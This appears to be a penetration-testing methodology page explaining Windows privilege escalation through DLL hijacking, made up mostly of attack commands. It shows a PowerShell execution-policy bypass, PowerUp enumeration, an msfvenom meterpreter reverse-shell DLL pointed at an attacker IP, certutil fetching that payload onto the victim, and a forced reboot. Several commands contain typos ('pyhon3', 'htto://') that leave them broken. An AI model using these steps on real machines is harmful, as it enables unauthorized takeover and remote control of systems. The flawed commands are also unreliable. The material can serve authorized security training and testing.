> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/privilege-escalation/windows/dll-hijacking.md).
# DLL Hijacking
DLLs are dynamic libraries that a program needs to run, this could be images, and commands.
How do we perform DLL hijacking?
As the name entails we will be hijacking a DLL by overwriting an already exsiting one. In order to see whether a DLL is hijackable I run PowerUp.ps1 and use the function Invoke-AllChecks in order to enumerate for Unquoted Service Paths and DLL hijackable dlls.
```
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
```
In this example we see that the vulnerable DLL file is called wlbsctrl.dll, so if we have write access to this file we can overwrite it with a malicious payload of our own in the dll form.
```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.123.123.123 lport=1234 -f dll -o wlbsctrl.dll
/* We start an http server
pyhon3 -m http.server 80
On victim machine
certutil -urlcache -f htto://192.123.123.123:80/wlbsctrl.dll "C:\path\to\wlbsctrl.dll"
/* Restart Victim machine.
shutdown -r
```
---
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